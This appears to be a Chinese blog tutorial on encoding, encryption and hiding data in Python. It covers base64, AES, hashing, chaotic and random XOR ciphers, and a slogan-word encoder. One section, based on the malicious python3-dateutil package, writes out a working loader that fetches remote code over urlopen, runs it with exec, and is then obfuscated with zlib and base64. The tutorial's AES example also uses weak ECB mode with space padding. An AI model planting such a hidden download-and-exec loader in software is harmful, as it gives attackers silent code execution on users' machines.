前言
为什么
- 我们有时想埋入一些信息
- 如果埋入文本,“几乎”可以等同于埋入了任何文件,因为可以把文件放网上,而埋入的文本就是链接。
怎么做
- AES
- 一种对称加密法,安全性很高
- 用 binascii 对加密后的文本做进一步处理,提高安全性
- 混沌加密法和随机数加密法(可以用于图像)
- 生成随机数,让随机数与原数据求异或
- 求两次异或还是本身。
- base64,实际上既不是加密算法,也不是压缩算法。(可以用于图像)
- 找64个字符,相当于6位二进制
- 把3个8位二进制表示为4个6位二进制
- zlib,不是加密算法,而是压缩算法
Python 常用的加密模块md5、sha、crypt
编码
进制
# str 转二进制
# 先转16进制,然后转10进制,然后转2进制。试了写用规则把16进制转2进制,耗时10倍
text_bin = bin(int(text.encode('utf-8').hex(), base=16))[2:]
# text_bit = (np.array(list(text_bin)) == '1')
# 二进制转文本
bytes.fromhex(hex(int(text_bin, base=2))[2:]).decode('utf-8')
base64
实际上不是加密算法,也不是压缩算法,而是一种“编码格式”,可以对文本和图片做编码。
先定义一个类似这样的数组
[‘A’, ‘B’, ‘C’, … ‘a’, ‘b’, ‘c’, … ‘0’, ‘1’, … ‘+’, ‘/’]
一共64个字符,还要加上 ‘=’ 作为填充字符
然后,每3个八进制数,可以转为4个64进制数。
编码
import base64
s = '你好吗,123 hello'.encode('utf-8') # unicode编码转byte类型
s_b64 = base64.b64encode(s)
解码
s_origin = base64.b64decode(s_b64) # 这个 s_b64 是 byte 格式。如果不是,会自动转为 byte 格式,结果不变
s_origin.decode('utf-8')
base64用于图像
# image转base64
import base64
with open("me.png", "rb") as f:
base64_data = base64.b64encode(f.read()) # 返回byte格式
# 1. 打印文本
print(base64_data)
# 2. 或者按二进制写入
with open('1.txt', 'wb') as f:
f.write(base64_data)
# 3. 如果用的是 jupyter, 可以直接输出图片
from IPython.core.display import HTML
HTML('<img src="data:image/jpg;base64,'+base64_data.decode('utf-8')+'"/>')
# %% base64 转 image
import os, base64
with open("1.txt", "r") as f:
imgdata = base64.b64decode(f.read())
file = open('1.jpg', 'wb')
file.write(imgdata)
file.close()
下面这个图是用这个方法做的,可以看看本页源代码。
python 加密
pip install pycryptodome
有时候还需要这样
import crypto
import sys
sys.modules['Crypto'] = crypto
AES
加密
text = '绝密:你好吗,中国。hello world!'.encode('utf-8')
password = '20190808'
from Crypto.Cipher import AES
import binascii
cryptor = AES.new(key='{:0<16}'.format(password).encode('utf-8'), mode=AES.MODE_ECB) # key 长度必须是16,24,32 长度的 byte 格式
ciphertext_tmp = cryptor.encrypt(text + b' ' * (16 - len(text) % 16)) # 明文的长度必须是16的整数倍
ciphertext_hex = ciphertext_tmp.hex() # 转为16进制
# ciphertext = binascii.b2a_hex(ciphertext_tmp) # 也是转为16进制,但本身为 byte 类型
加密后的文本
‘88e6eebf94962733887c2f40d21d07a10f93a4b4aee0a351bdbbef9140cda67ffba21c16531a0990be253af48e45aa8d’
解密
AES.new(key='{:0<16}'.format(password).encode('utf-8'), mode=AES.MODE_ECB)\
.decrypt(binascii.a2b_hex(ciphertext)).decode('utf-8') # key 长度必须是16,24,32 长度的 byte 格式
此外,还支持
- 多种 hash 算法 https://www.pycryptodome.org/en/latest/src/hash/hash.html#modern-hash-algorithms
hashlib
import hashlib
# md5
hashlib.md5('你好,中国!'.encode('utf-8')).hexdigest()
# sha256
hashlib.sha256('你好,中国!'.encode('utf-8')).hexdigest()
# 还有另一种方式
md5 = hashlib.md5()
md5.update('First sentence'.encode('utf-8'))
md5.update('Second sentence'.encode('utf-8'))
md5.hexdigest()
典型用途:
- 用户密码一般不明文存储,否则泄漏后后果严重。纯粹 hash 后的结果,用户输入的密码也做 hash 后与数据库对比。
- 长url压缩
# pip install pycryptodome
from Crypto.Hash import SHA256
hash = SHA256.new(data=b'First')
hash.update(b'Second')
hash.update(b'Third')
text_hash = hash.digest()
混沌加密法
混沌加密法有两个关键技术点:
- 混沌迭代式 $x_n=ux_{n-1}(1-x_{n-1}),(u \in (3.5699456,4],x_0 \in (0,1))$,呈现混沌性。一方面如果你不知道参数,你无法根据迭代结果求出参数;另一方面,如果你知道参数,那么每次迭代的序列都是一样的。
- $a\oplus b \oplus b=a,\forall a,b$,异或求两次还是自身
迭代加密/解密函数:
思路是,混沌迭代式的n到m位,与原序列求异或。
def func_chaos(password, input_data):
u, x, n = password
output_data = []
for i in range(n):
x = u * x * (1 - x)
for i in input_data:
x = u * x * (1 - x)
output_data.append(i ^ (int(x * 127))) # 加密字符串时,是ascii码,所以是127。加密图像用255
return output_data
数据准备
input_data = 'http://www.guofei.site'
password = (3.7, 0.2, 10)
加密
clear_data = [ord(i) for i in input_data]
cypher_data = func_chaos(password, clear_data)
cypher_text = [chr(i) for i in cypher_data]
print('加密后:')
print(cypher_data)
print(''.join(cypher_text))
解密,和加密完全一样
predict_data = func_chaos(password, cypher_data)
predict_text = [chr(i) for i in predict_data]
print('加密后:')
print(predict_data)
print(''.join(predict_text))
随机数加密法
文本加密
除了用混沌生成器之外,你还可以用随机数生成器
input_data = 'http://www.guofei.site/m/m.md' # 如果你加密对象是一个url,你就能存入大量信息
password = 0
np.random.seed(password)
cypher_data = [ord(i) ^ np.random.randint(127) for i in input_data]
''.join([chr(i) for i in cypher_data])
解密
password = 0
cypher_str = 'D[\x010yTl\x10~$;\x15Q8 =1"I(\x12BxCw<\x0bt)'
np.random.seed(password)
clear_data = [chr(ord(i) ^ np.random.randint(127)) for i in cypher_str]
url=''.join(clear_data)
requests.get(url).content.decode('utf-8')
加密图像
- 加密
input_data = plt.imread('test.jpg') np.random.seed(0) cypher_data = input_data ^ np.random.randint(0, 255, size=input_data.shape) plt.imshow(cypher_data)
- 解密
np.random.seed(0) clear_data = cypher_data ^ np.random.randint(0, 255, size=cypher_data.shape) plt.imshow(clear_data)
图像盲水印
https://github.com/guofei9987/blind_watermark
- 可以在图片中嵌入图片、bit数据
- 抗旋转、裁剪等
应用举例
暗代码
(不要用来搞破坏。犯法,并且很容易被发现)
案例来自 python3-dateutil
,本文去掉了恶意部分,原文见于 知乎。
step1: 核心代码放网上,例子
这里作为demo代码如下:
print('Notice!')
print('You are in danger!')
print('Check your security strategy now!')
step2:触发代码+zlib压缩+base64隐藏
codes='''
try:
try:from urllib2 import urlopen
except:from urllib.request import urlopen
exec(urlopen('http://img1.github.io/c/a.py').read())
except:pass'''
import zlib, base64
code_=base64.b64encode(zlib.compress(codes.encode('utf-8')))
step3:触发代码
import zlib,base64
CODE = ''
CODE += 'eJxtjT0OhSAQhHtOQSc0EF/pbRBX3URkXZZEb+9PLCzeVDOTLzNK+OiUvnSb'
CODE += 'kXPSlZcF+5/GRJnljplgfRjYI5B8McewVSjyn4Zo3sI0swh13mOaWjehzLV3'
CODE += 'mH30wdHR2GsnDMZa9V5QKOUEXQY1cg=='
exec(zlib.decompress(base64.b64decode(CODE)))
暗口令
# -*- coding: utf-8 -*-
import random
import zlib # 用来压缩
class PositiveSpirit:
# based on https://github.com/sym233/core-values-encoder
def __init__(self, password=0):
self.VALUE_WORD = ('富强', '文明', '和谐', '平等', "公正", '法治', "爱国", '敬业', '诚信', '友善'
, '幸福', '快乐', '向上', '积极', '乐观', '奋斗')
self.HEX_WORD = list('0123456789abcdef')
self.password = password
# 加密
random.seed(self.password)
random.shuffle(self.HEX_WORD)
self.encode_dict = {self.HEX_WORD[i]: self.VALUE_WORD[i] for i in range(16)}
self.decode_dict = {self.VALUE_WORD[i]: self.HEX_WORD[i] for i in range(16)}
def encode(self, ori_str):
encrypt_str = zlib.compress(ori_str.encode('utf-8')).hex() # 压缩
encrypt_str = ''.join([self.encode_dict[i] for i in encrypt_str])
return encrypt_str
def decode(self, encrypt_str):
part1, part2 = encrypt_str[::2], encrypt_str[1::2]
encrypt_split = [part1[i] + part2[i] for i in range(len(part1))]
encrypt_split = [self.decode_dict[i] for i in encrypt_split]
return zlib.decompress(bytes.fromhex(''.join(encrypt_split))).decode('utf-8')
if __name__ == '__main__':
ps = PositiveSpirit(password=1)
str_encode = ps.encode('hello, 测试!' * 30)
ps.decode(str_encode)